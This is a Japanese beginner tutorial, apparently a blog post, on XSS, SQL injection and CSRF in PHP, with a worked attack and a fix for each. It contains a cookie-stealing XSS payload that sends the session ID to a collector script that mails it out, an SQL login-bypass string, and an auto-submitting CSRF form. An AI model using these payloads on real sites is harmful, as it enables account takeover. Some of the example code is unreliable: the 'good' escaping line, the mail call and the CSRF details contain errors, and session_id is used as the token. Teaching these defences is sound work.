これだけは知っておきたい、セキュリティのまとめ


# 概要

WEBアプリケーションのセキュリティで特に大事な、XSS、SQLインジェクション、CSRFについて具体例とその対策を概説する。


# 対象

PHPとMySQLの基本（とJacaScriptをほんの少し）は知っているけど、セキュリティについてはあまり知識が無い方。


# 目次

* 1 XSS(クロスサイト・スクリプティング)
* 2 SQLインジェクション
* 3 CSRF(クロスサイト・リクエストフォージェリ)


# 1. XSS(クロスサイト・スクリプティング)

## 具体例: クッキー値が盗み出される

### 原理

以下のphpスクリプトは、ログイン中のユーザーが入力したキーワードをブラウザに出力するというもの。

```php:GETメソッドでkeywordを受け取る
<?php
  session_start();
  // ログインチェック(詳細略)
?>
<body>
<?php
  // 悪い例
  echo $_GET['keyword'];
?>
</body>
```

ここで、キーワードに以下のようなJavaScriptを埋め込むと、

```javascript:クッキーを表示する
<script>alert(document.cookie)</script>
```

クッキーにセットされたセッションIDがアラート表示される。

### 実際の手口

実際には、こうした脆弱なサイトの利用者を、罠サイトに誘導する。

```php:inframeで脆弱なサイトを埋め込んだ罠サイト
<body>
<iframe width=400 height=200 src="http://localhost/security/keyword.php?keyword=<script>window.location='http://localhost/security/attach/xss/mail.php?sid='%2Bdocument.cookie;</script>">
</iframe>
</body>
```

該当部分だけを取り出したのが以下。

```該当部分
src="http://localhost/security/keyword.php?

keyword=

<script>window.location='http://localhost/security/attach/xss/mail.php?sid='%2Bdocument.cookie;</script>"
```

この部分では、

* 攻撃対象のurl("keyword.php")を指定して
* keywordに情報を送信するためのurl("mail.php")を指定して
* パラメタ部分に先に説明した攻撃(document.cookie)を仕込んでおく

ことにより、以下の情報収集サイトに飛び、

```php:情報を収集するサイト
<?php
mb_language('Japanese');
$sid = $_GET['sid'];
mb_send_mail('test@gmail.com', '攻撃成功', 'セッションID:', . $sid, 'From: test@trap.exmaple.com');
?>
<body>
<p>攻撃成功。</p>
<?php echo $sid; ?>
</body>
```

攻撃者のメールアドレス、

```
test@gmail.com
```

に、セッションIDが送られてしまう。

## XSSの攻撃方法まとめ

1. 罠サイトのinframe内で、脆弱なサイトが表示される
2. 脆弱なサイトはXSS攻撃により、クッキー値をクエリ一文字につけて、情報収集ページに遷移する
3. 情報収集ページは受け取ったクッキー値をメールで攻撃者に送信する

## 対策: エスケープ処理

エスケープ処理を行う。PHPの場合、htmlspecialcharsという関数があるので、これを用いる。

具体的には、

```php:悪い例
<?php
  echo $_GET['keyword'];
?>
```

この部分を、

```php:良い例
<?php
// htmlspecialchar関数でエスケープ処理
$keyword = htmlspecialchars($_GET('keyword'), ENT_QUOTES, "UTF-8");

// $keywordを表示
echo $keyword;
?>
```

とする。

htmlspecialchars関数は「<」や「&」などの文字列を変換し、JacaScriptと認識されないようにする(エスケープ処理)。

## 余談

クロスサイトスクリプティングをCSSと書かないのは、スタイルシートのCSSと紛らわしいから。


# 2. SQLインジェクション

## 具体例: 認証を回避される

SQLインジェクションとは、SQLの呼び出し方に不備がある場合に発生する脆弱性である。
以下のphpスクリプトでは、正しいユーザーIDとパスワードを入力すると「ログイン成功」と表示される。

```php:ログインするためのスクリプト
<?php
  // sessions/new.phpから受け取る
  $email = $_POST['email'];
  $password = $_POST['password'];
  
  //データベースに接続
  try {
    $dbh = new
    PDO('mysql:host=127.0.0.1;dbname=security','your_db_user_name','your_db_password');
  } catch (PDOException $e) {
    var_dump($e->getMessage());
    exit;
  }
 
  // 当該emailとpasswordのレコードを取得し変数$recに格納
  // 悪い例
  $stmt = $dbh->prepare("select * from users where email = '$email' and password = '$password'");
  $stmt->execute();
  $rec = $stmt->fetch(PDO::FETCH_ASSOC);

  // データベースとの接続を終了
  $dbh = null;

  // レコードを取得できた場合には、"ログイン成功"と表示される
  if($rec != false) {
    $_SESSION['user_id'] = $rec['id'];
    echo "ログイン成功";
  } else {
    echo "ログイン失敗";
  }
?>
```

ここで問題となるのは以下のSQL文で、

```sql:当該メールアドレスとパスワードのユーザーを検索
select * from users where email = '$email' and password = '$password'
```

フォームのpasswordのところに、

```フォームに入れる値
' or 'a' = 'a
```

を入力すると（emailは'hoge@test.com'として）、

```sql:パスワードの条件が常に真となるSQL文
SELECT * FROM users WHERE email = 'hoge@test.com' and password = '' or 'a' = 'a'
```

となり、where句以下が常に真となってしまい、正しいパスワードを知らなくてもログイン出来てしまう。


## 対策: プレースホルダを使う

以下のように、変数を受け取る部分を「?」や「:password」（これをプレースホルダという）として、

```sql
SELECT * FROM users WHERE email = ? and password = ?
```

この部分に、以下のようにパラメータを渡す形式にする。

```php:sessions/create.php
<?php
  // 良い例 => プレースホルダを利用(名前付きプレースホルダの例)
  $stmt = $dbh->prepare("select * from users where email = :email and password = :password");
  $stmt->bindParam(":email",$email);
  $stmt->bindParam(":password",$password);
  
  // 実行
  $stmt->execute();
  $rec = $stmt->fetch(PDO::FETCH_ASSOC);
?>
```

これで先のようなリクエストが来ても、危険なSQL文が生成されることはない。


# 3. CSRF(クロスサイト・リクエストフォージェリ)

## 具体例: パスワードが変更されてしまう

以下のスクリプトは、ログイン中のユーザーが自分のパスワードを変更できる。

```php:アカウント内容を編集する
<?php
  session_start();
  // ログイン処理(省略)
?>

<body>
  <form action="update.php" method=POST >
  新パスワード
  <input name="new_password" type="password">
  <input type="submit" value="パスワード変更">
</body>
```

新しいパスワードを入力すると、以下のファイルに飛び、

```php:パスワードの更新
<?php
  session_start();
  // ログイン確認(省略)

  $user_id = $_SESSION['user_id'];
  $new_password = $_POST['new_password'];
  // パスワード処理 ユーザー$idのパスワードを$pwdに変更する(省略)

  echo "パスワードを変更しました。再度ログインしてください。";
?>
```

パスワードが変更されるものとする。

ここで、あるユーザーがパスワードを変更するための必要条件とは、

* POSTメソッドでhoge.phpがリクエストされること
* ログイン状態であること
* POSTパラメータpwdとしてパスワードが指定されること

の3つ。そこで、以下の攻撃用サイトのphpスクリプトを見ると、

```php:攻撃用サイト
<body onload="document.forms[0].submit()">
<form action="http://localhost/security/registrations/update.php" method="POST">
<input type="hidden" name="new_password" value="your_password_is_changed">
</form>
```

ログイン中のユーザーであれば、指定先のurlでアクションが行われ、そしてhiddenフォームで"your_password_is_changed"というパスワードが指定されているので、上記の条件を満たす。

つまりこの場合、攻撃用サイトにアクセスしただけで勝手に"your_password_is_changed"というパスワードに変更されてしまう。

## 対策: 秘密情報(トークン)の埋め込み

まず以下のように、

```php:トークンを埋めた例
<?php
  session_start();
  // ログイン処理
?>

<body>
<form action="update.php" method=POST >
新パスワード
<input name="new_password" type="password">
<input type="hidden" name="token" value="<?php echo session_id(); ?>" >
<input type="submit" value="パスワード変更">
</body>
```

hiddenフォームでtokenを埋め込んでおき、これをlocate先のスクリプトで、

```php:パスワードの更新
<?php
  // tokenの確認
  if (session_id() !== $_POST['token']) {
    die('正規の画面からご使用ください');
  }
?>
```

認証に失敗したら、「正規の画面からご使用ください。」と表示させる。


# 発展

解説した内容は、Railsを使っていると基本的に全て回避してくれる。
しかしそのような機能を「知らないうちに消していた」なんてことが無いよう、Railsがどのように回避しているのかは理解しておくと吉。

http://qiita.com/sutetotanuki/items/5eda6bbb5532dd64529a